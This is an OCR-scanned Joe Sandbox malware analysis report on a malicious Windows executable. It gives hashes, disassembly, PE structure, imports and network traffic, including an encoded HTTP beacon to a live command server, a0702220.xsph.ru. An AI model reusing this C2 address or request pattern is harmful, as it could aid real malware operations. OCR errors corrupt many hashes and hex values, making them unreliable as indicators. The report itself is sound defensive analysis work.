SSDEEP: 6:G5kgwgK+NkLzWbHa/818nZNDd3RL1WQJIRrbXb79x5BDIZpWS1:G6BMCzWLaG4d3XBJhfbbl

MD5: 57F4CBF8C281ACDE2C48327DFB2B3C45

SHA1L: F752FF26E32BED28F91712E5322D438ADAEOD6F4

SHA-256: 0864BAA556ADDDC451E8ADOACBDFBAF692A7371A5CBB8EF2B2B83AA05C56FB39

SHA-512: CF9EF8920DF9E3BD5CBIF907616C48BF0267DF974987774495F84D49999E54A626F96B8221DDA23ABBEDSE753C1F53725FFE896A43BOCBA41EEOEACDC1F6BL
DB

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

Preview: #@~"XAAAAA==].Y~q/42t.V ~"Z.+mYn6(L+10°r.?1.rwDRUtNVSE*@#@&.UNDbwO UV+n2vFT!IZb@#@4&,).Y,./4?4nVAPXP;DNCD+r(%+1Y r.jmMkaY ?4n"VE#@#@

& ktj4.VV 1x~J;IImGswMW\bN..I'xOks+"Gs:W.&fdSk"X1Mt:d&X uu(oWmc8IDIS~Z~PWCNNVT4AAA=="#~@.

Static File Info
General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit):  6.441074143240984

TriD: e Win32 Executable (generic) Net Framework (10011505/4) 50.01%
e Win32 Executable (generic) a (10002005/4) 49.97%
e Generic Win/DOS Executable (2004/3) 0.01%
e DOS Executable Generic (2002/1) 0.01%
e Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: cDouNOFXle.exe
File size: 1232540
MDS5: 54172888b473f2515b13fele2032a112
SHAL: fc4ffad53aleabefee9265840bfclddalee8cle6
SHA256: 05379ea4600304f51cffa8d1lee9e3b2931a69129f6bed14d45a500d966a71fca
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SHAS512: d09ce140712a46f3f94eaaf0c567ca30ce6de8hb81ed8b45961cf6f4211225b43e6944dba769c212e11f836¢f579932883a28d798353af9d6bd71c40e8a8f90a5

SSDEEP: 12288:WRZ+10G/n91QxW30BseWyx/bl84s165YnNPKDGWcvOarVwvZDyg7VGNtIimleJS:Q2G/nvxW3Ww4DW1IDGWemarVKFPJS
TLSH: AE454B017E44CE52F0181633C2FF45988BB4A9503AA6E31B7EB9377D65223967CODADB

File Content I..L.IThis program cannot be run in DOS

Preview: By Yy L& e f
File Icon

Icon Hash: fbb99bdaecbcdce8

Static PE Info

General

Entrypoint: 0x41ec40

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview
Instruction

call 00007FFAO04AEBCBYh
jmp 00007FFAQ4AE86CDh

cmp ecx, dword ptr [0043E668h]

jne 00007FFAO04AE8845h
ret

jmp 00007FFAQ4AEBE3Eh
int3

int3

int3

int3

int3

push ebp

mov ebp, esp

push esi

push dword ptr [ebp+08h]
mov esi, ecx

call 00007FFA04ADB5D7h

mov dword ptr [esi], 00435580h

mov eax, esi
pop esi

pop ebp
retn 0004h

and dword ptr [ecx+04h], 00000000h

mov eax, ecx

and dword ptr [ecx+08h], 00000000h

Copyright Joe Security LLC 2022

EXECUTABLE_IMAGE, 32BIT_MACHINE
DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]

5
1

fcf1390e9ce472c7270447fc5c61a0cl
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Instruction

mov dword ptr [ecx+04h], 00435588h
mov dword ptr [ecx], 00435580h
ret

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00435568h
push eax

call 00007FFA04AEB9DDh
pop ecx

ret

push ebp

mov ebp, esp

sub esp, 0Ch

lea ecx, dword ptr [ebp-0Ch]
call 00007FFA04ADB56Eh
push 0043B704h

lea eax, dword ptr [ebp-OCh]
push eax

call 00007FFAO04AEBOF2h
int3

push ebp

mov ebp, esp

sub esp, 0Ch

lea ecx, dword ptr [ebp-0Ch]
call 00007FFAQ4AE87E4h
push 0043B91Ch

lea eax, dword ptr [ebp-0Ch]
push eax

call 00007FFA04AEBOD5h
int3

jmp 00007FFA04AED123h
jmp dword ptr [00433260h]
int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

push 00421EBOh

push dword ptr fs:[00000000h]

Rich Headers
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Programming Language:

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address Virtual Size Raw Size
text 0x1000 0x310ea 0x31200
.rdata 0x33000 0xa612 0xa800
.data 0x3e000 0x23728 0x1000
.didat 0x62000 0x188 0x200
.rsrc 0x63000 Ox1e494 0x1e600
.reloc 0x82000 0x2268 0x2400
Resources

Name RVA

PNG 0x63614

PNG 0x6415¢

RT_ICON 0x65708
RT_ICON 0x66clc

RT_ICON 0x77444
RT_ICON 0x7b66¢
RT_ICON 0x7dc14

Copyright Joe Security LLC 2022

Virtual Address

0x3c820
0x3c854
0x63000
0x0
0x0
0x82000
0x3aac0
0x0
0x0
0x0
0x35508
0x0
0x33000
0x3bdc4
0x0

0x0

Xored PE

False

False

False

False

False

False

Size

0xb45

0x15a9

0x1514

0x10828

0x4228

0x25a8

0x10a8

[ C]1VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

e o o o o o

Virtual Size

0x34
0x3c
Ox1e494
0x0
0x0
0x2268
0x54
0x0
0x0
0x0
0x40
0x0
0x260
0x120
0x0

0x0

ZLIB Complexity File Type Entropy

0.583959526081425 data 6.708075396341128

0.45284598214285715 data 5.221742709250668

0.36767578125 data 3.7088186669877685

0.4453125 data 3.2982538067961342

0.2540991512345679 data 6.688895303072544

0.7681206597222222 data 6.5548620101740545

Type Language

PNG image data, 93 x 302, 8-bit/color RGB, non-
interlaced

English

PNG image data, 186 x 604, 8-bit/color RGB, non-
interlaced

English

PNG image data, 256 x 256, 8-bit/color RGBA, non-
interlaced

data

dBase IV DBT of \200.DBF, blocks size 0, block
length 16384, next free block index 40, next free
block 4284900196, next used block 4284900196

dBase IV DBT of ".DBF, block length 9216, next
free block index 40, next free block 4283782754,
next used block 4285426547

dBase IV DBT of @.DBF, block length 4096, next
free block index 40, next free block 4286412417,
next used block 4285688944

Is in Section

.rdata
.rdata

.rsrc

.reloc

.rdata

.rdata

.rdata

.rdata

Characteristics

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_DISCARDA
BLE,

IMAGE_SCN_MEM_READ

Country

United States

United States
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Name
RT_ICON
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_STRING
RT_STRING
RT_STRING

RT_STRING

RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_GROUP_ICON

RT_MANIFEST

Imports
DLL

KERNEL32.dll

gdiplus.dll

Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution
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RVA
Ox7echc
0x7f124
0x7f3ac
0x7f4e8
0x7f5d4
0x7f704
Ox7fa3c
0x7fc90
Ox7fe74
0x80040

0x801f8

0x80340
0x80788
0x808f0

0x80a44
0x80b50
0x80c0c
0x80ce4
0x80d40

Size

0x468
0x286
0x13a
Oxec

0x12e
0x338
0x252
Oxle2
Oxlcc
0x1b8

0x146

0x446
0x166
0x152
0x10a
Oxbc
0xd6
Ox5a

0x753

Type Language Country

GLS_BINARY_LSB_FIRST

data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
Hitachi SH big-endian COFF object file, not English United States

stripped, 17152 sections, symbol
offset=0x73006500

data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
data

XML 1.0 document, ASCI!I text, with CRLF line English United States

terminators

Import

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceloControl, SetFileTime, CloseHandle,
CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW,
GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile,
SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW,
GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW,
FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessld, ExitProcess, SetThreadExecutionState, Sleep,
LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW,
GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection,
LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject,
CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime,
TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime,
FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc,
LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW,
GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW,
OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW,
MoveFileExW, GetLocalelnfow, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx,
GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSysteminfo,
VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent,
UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupinfoW, QueryPerformanceCounter,
GetCurrentThreadld, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer,
InitializeCriticalSectionAndSpinCount, TIsAlloc, TIsGetValue, TIsSetValue, TIsFree, LoadLibraryExW,
QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc,
HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP,
GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM,
GdipCreateBitmapFromStream, GdipDisposelmage, GdipClonelmage, GdipFree, GdipAlloc

Country where language is spoken Map

United States
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Total Packets: 33

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Aug 6, 2022 00:53:01.311467886 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.377403021 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.377499104 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.378452063 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.443624020 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444070101 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444111109 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444153070 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444191933 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.444194078 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444231987 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444264889 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.444271088 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444309950 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444335938 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.444348097 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444386959 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444406033 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.444423914 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.444483042 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.507935047 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508009911 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508061886 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508080959 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.508111954 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508164883 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.508172989 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508227110 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508280039 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.508284092 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508335114 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508387089 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.508388996 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508440971 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508490086 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508549929 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508568048 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.508621931 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.508625984 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508691072 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508728027 CEST 80 49779 141.8.195.65 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 6, 2022 00:53:01.508766890 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508797884 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508827925 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508856058 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.508893967 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.509000063 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.572487116 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572546959 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572592974 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572626114 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.572633028 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572673082 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572688103 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.572711945 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572750092 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572757959 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.572788954 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572825909 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572829962 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.572864056 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572901011 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572912931 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.572941065 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572981119 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.572988987 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.584369898 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.648134947 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648192883 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648232937 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648250103 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.648484945 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648544073 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648547888 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.648597002 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648710966 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648714066 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.648766994 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648821115 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648825884 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.648874998 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.648933887 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.648935080 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649000883 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649059057 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649090052 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.649099112 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649137020 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649153948 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.649195910 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649241924 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649257898 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.649283886 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649319887 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649344921 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.649362087 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649401903 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649427891 CEST 49779 80 192.168.2.3 141.8.195.65
Aug 6, 2022 00:53:01.649441004 CEST 80 49779 141.8.195.65 192.168.2.3
Aug 6, 2022 00:53:01.649482012 CEST 80 49779 141.8.195.65 192.168.2.3
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UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Aug 6, 2022 00:53:01.227482080 CEST 58981 53 192.168.2.3 8.8.8.8

Aug 6, 2022 00:53:01.245068073 CEST 53 58981 8.8.8.8 192.168.2.3

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 6, 2022 00:53:01.227482080 CEST 192.168.2.3 8.8.8.8 0x8e7 Standard query  a0702220.x A (IP address) IN (0x0001)
(0) sph.ru

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 6, 2022 8.8.8.8 192.168.2.3 0x8e7 No error (0) a0702220.x 141.8.195.65 A (IP address) IN

00:53:01.245068073 CEST sph.ru (0x0001)

HTTP Request Dependency Graph

e a0702220.xsph.ru

HTTP Packets
Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.3 49779 141.8.195.65 80 C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe

kByt:
Timestamp yes Direction Data

transferred
Aug 6, 2022 1636 ouT GET /tolowprocessorGeneratortrack.php?rRmbiWWxEOd55k=WTglsnKuV&e7d5eala013b440ebf41c5b405309b9e=b64e
00:53:01.378452063 0d0fcd8b0e37eaad4643c1b6ab3c&94c8169d9b8chbe19972e7f6bf4e65c1=AM5MjZXxQmMMhRjMzE2M5KkTN2EWOwC
CEST ZYXYGN3UDMS5Y[jZwM2YmMRmMN2EDO&RmbiWWxXEOd55k=WTglsnKuV HTTP/1.1

Accept: */*

Content-Type: text/csv

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69
Safari/537.36

Host: a0702220.xsph.ru

Connection: Keep-Alive
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kBytes

Direction
transferred

Timestamp
Aug 6, 2022 1676 IN
00:53:01.444070101

CEST

Aug 6, 2022 1737 ouT
00:53:01.584369898
CEST

Copyright Joe Security LLC 2022

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Fri, 05 Aug 2022 22:53:01 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 64 66 62 65 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20
2020 3c 74 69 74 6¢ 65 3e dO 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6¢ 65 3e Oa 20 20 20 20
3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 7
669 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65 3d 31 2e 30 22 3e Oa 20 20 20 20 3c 73 74
79 6¢ 65 3e Oa 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e
74 2d 66 61 6d 69 6¢ 79 3a 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 6e 6f
72 6d 61 6¢ 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20
2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78
3b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6¢ 65 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b
64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6¢ 65 78 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69
74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65
6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6¢ 65 78
2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72
61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a
3130333270783b68 656967 6874 3a313030253b2d77 6562 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68
6f 72 69 7a 6f 6e 74 61 6¢ 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d
77 65 62 6b 69 74 2d 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e
74 3a 68 6f 72 69 7a 6f 6e 74 61 6¢ 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d
6d 73 2d 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77
3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63
61 6¢ 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6¢ 63 28 31 30 30 76
68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62
6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e
67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b
2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d
6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6¢ 65 78 2d 70 61 63 6b 3a 6a 75 73 74
69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74
69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6¢ 65 66 74 2d 73 69 6
465 7b 6469 73 70 6¢ 61 79 3a 74 61 62 6¢ 65 3b 68 65 69 67 68 74

Data Ascii: dfbe<!IDOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta
name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family
:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-w
ebkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-
box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px; height:100
